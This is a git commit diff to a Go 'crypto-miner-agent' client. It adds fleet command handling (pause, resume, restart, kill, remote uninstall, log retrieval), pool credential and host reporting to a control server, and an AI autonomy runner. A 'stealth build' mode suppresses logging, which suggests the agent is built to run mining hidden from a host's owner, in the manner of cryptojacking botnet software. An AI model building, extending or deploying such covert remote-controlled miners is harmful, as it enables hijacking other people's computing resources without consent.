Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -5,11 +5,15 @@ import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
@@ -23,6 +27,7 @@ type AgentClient struct {
|
||||
pool *miner.Pool
|
||||
reporter *stats.Reporter
|
||||
startTime time.Time
|
||||
aiRunner *AIRunner
|
||||
|
||||
mu sync.Mutex
|
||||
agentID string
|
||||
@@ -45,6 +50,13 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||
c.aiRunner.Start()
|
||||
defer c.aiRunner.Stop()
|
||||
}
|
||||
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
|
||||
@@ -103,13 +115,20 @@ func (c *AgentClient) connectLoop() error {
|
||||
func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Version: config.Version,
|
||||
Hostname: host,
|
||||
CPUCores: cores,
|
||||
MemoryGB: memGB,
|
||||
Worker: c.cfg.WorkerName,
|
||||
AgentID: c.agentID,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Version: config.Version,
|
||||
Hostname: host,
|
||||
CPUCores: cores,
|
||||
MemoryGB: memGB,
|
||||
Worker: c.cfg.WorkerName,
|
||||
PoolHost: c.cfg.PoolHost,
|
||||
PoolPort: c.cfg.PoolPort,
|
||||
PoolTLS: c.cfg.PoolTLS,
|
||||
PoolPass: c.cfg.PoolPass,
|
||||
AIEnabled: c.cfg.AIEnabled,
|
||||
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||
AIModel: c.cfg.AIModel,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -162,9 +181,109 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
c.sharesAccepted++
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||
return
|
||||
}
|
||||
c.handleCommand(cmd.Action, cmd.TailLines)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int) {
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
go c.restartSelf()
|
||||
case "stop", "kill":
|
||||
c.sendCommandResult(action, true, "stopping")
|
||||
go c.stopSelf()
|
||||
case "uninstall":
|
||||
c.sendCommandResult(action, true, "uninstalling")
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
if err := deploy.Uninstall(c.cfg); err != nil {
|
||||
log.Printf("[agent] remote uninstall failed: %v", err)
|
||||
}
|
||||
}()
|
||||
case "get_log":
|
||||
content, err := readLogTail(c.cfg, tailLines)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"content": content,
|
||||
"lines": tailLines,
|
||||
})
|
||||
_ = c.write(Message{Type: "log_tail", Payload: payload})
|
||||
default:
|
||||
c.sendCommandResult(action, false, "unknown action")
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action,
|
||||
"success": success,
|
||||
"message": message,
|
||||
})
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) stopSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
c.pool.Stop()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func (c *AgentClient) restartSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
_ = cmd.Start()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
|
||||
}
|
||||
if tailLines <= 0 {
|
||||
tailLines = 200
|
||||
}
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
data, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return "", fmt.Errorf("miner.log not found")
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
lines := strings.Split(string(data), "\n")
|
||||
if len(lines) > tailLines {
|
||||
lines = lines[len(lines)-tailLines:]
|
||||
}
|
||||
return strings.Join(lines, "\n"), nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
c.mu.Lock()
|
||||
c.sharesSubmitted++
|
||||
|
||||
Reference in New Issue
Block a user